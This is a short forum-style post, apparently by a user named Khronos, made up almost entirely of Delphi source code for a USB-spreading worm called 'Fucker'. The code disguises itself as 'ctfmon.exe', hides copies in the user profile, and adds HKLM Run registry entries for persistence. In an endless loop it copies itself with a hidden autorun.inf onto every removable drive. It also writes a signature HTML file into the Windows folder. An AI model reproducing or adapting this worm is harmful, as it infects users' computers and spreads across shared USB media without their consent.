Codigo sin utilidad

[Khronos]

Código Delphi [-]

program Fucker;
 
{$APPTYPE GUI}
 
uses
SysUtils, Windows, Registry, shellapi;
 
var
 
Unidad: string; 
Fuck: Array[0..260] of char;
folder: string;
OS: string;
dir: string;
 
const
CSIDL_PROFILE = 40;
SHGFP_TYPE_CURRENT = 0;
function SHGetFolderPath(hwndOwner: HWND;
nFolder: Integer;
hToken: THandle;
dwFlags: DWORD;
pszPath: LPTSTR): HRESULT; stdcall;
external 'Shell32.dll' name 'SHGetFolderPathA';
 
function GetUserProfile: string;
var
Buffer: array[0..MAX_PATH] of Char;
begin
FillChar(Buffer, SizeOf(Buffer), 0);
SHGetFolderPath(0, CSIDL_PROFILE, 0, SHGFP_TYPE_CURRENT, Buffer);
Result := String(PChar(@Buffer));
end;
 
function DrivePreparado(Drive: Char): Boolean;
var
ErrorMode: word;
begin
if Drive in ['a'..'z'] then Dec(Drive, $20);
if not (Drive in ['A'..'Z']) then
raise EConvertError.Create('Not a valid drive ID');
ErrorMode := SetErrorMode(SEM_FailCriticalErrors);
try
if DiskSize(Ord(Drive) - $40) = -1 then
Result := False
else
Result := True;
finally
SetErrorMode(ErrorMode);
end;
end;
 
 
procedure InfectarUsb;
var
Drive: Char;
Autorun: textfile;
begin
for Drive:= 'c' to 'z' do
if getDriveType(PCHAR(Drive + ':\')) = DRIVE_REMOVABLE then BEGIN
Unidad:=(UPCASE(Drive)) + ':\';
 
if DrivePreparado(Drive)=true then
begin
if not(FileExists(Unidad + 'ctfmon.exe')=true) then begin
CopyFile(Worm, PCHAR(Unidad + 'ctfmon.exe'), true);
FileSetAttr(Unidad + 'ctfmon.exe', faHidden or faReadOnly);
end;
if not(FileExists(Unidad + 'autorun.inf')=true) then begin
AssignFile(Autorun, Unidad + 'autorun.inf');
Rewrite(Autorun);
Writeln(Autorun, '[AUTORUN]');
Writeln(Autorun, 'OPEN=ctfmon.exe');
Writeln(Autorun, 'shell\open\command=ctfmon.exe ');
Writeln(Autorun, 'shell\open=');
Closefile(Autorun);
FileSetAttr(Unidad + 'autorun.inf', faHidden or faReadOnly);
end;
end;
 
END;
 
end;
 
procedure Autorun (name, path : string);
var
Reg: TRegistry;
begin
Reg:= TRegistry.create;
Reg.RootKey:= HKEY_LOCAL_MACHINE;
Reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run', true);
Reg.WriteString(name, path);
Reg.Destroy;
end;
 
function Windowsfolder : String;
var
pcWindowsDirectory : PChar;
dwWDSize : DWORD;
begin
dwWDSize := MAX_PATH + 1;
GetMem( pcWindowsDirectory, dwWDSize );
try
if Windows.GetWindowsDirectory( pcWindowsDirectory, dwWDSize ) <> 0 then
Result := pcWindowsDirectory;
finally
FreeMem( pcWindowsDirectory );
end;
end;
 
procedure firma;
var
text: textfile;
begin
AssignFile(text, OS + '\firma.html');
Rewrite(text);
Writeln(text, '');
Writeln(text, '');
Writeln(text, '');
Writeln(text, '');
Writeln(text, '');
Writeln(text, '');
Writeln(text, '');


Writeln(text, 'Fucker');
Writeln(text, 'Sin ánimos de molestar a nadie');
Writeln(text, '');
Writeln(text, '');
Writeln(text, '');
Writeln(text, '');
Closefile(text);
end;
 
 
label back;
begin
OS:= windowsfolder;
GetDir(0, dir);
dir:= dir + '\autorun.inf';
 
 
if (FileExists(dir)=true) then
begin
//si es asi, explora esa unidad
dir:= emptystr;
GetDir(0, dir);
Shellexecute(0, 'explore', pchar(dir), '', '', SW_SHOWNORMAL);
end;
 
 
folder:= GetUserProfile + '\ctfmon.exe';
GetMoDuleFilename(0, Fuck, SizeOf(Fuck));
 
back:
CopyFile(Fuck, pchar(folder), true);
FileSetAttr(folder, faHidden or faReadOnly);
 
Autorun('Club Delphi Fucker v. 1', folder);
Autorun('Firma', OS + '\firma.html');
firma;
InfectarUSB;
 
Sleep(5000);
 
goto back;
 
end.

Sin ánimos de molestar a nadie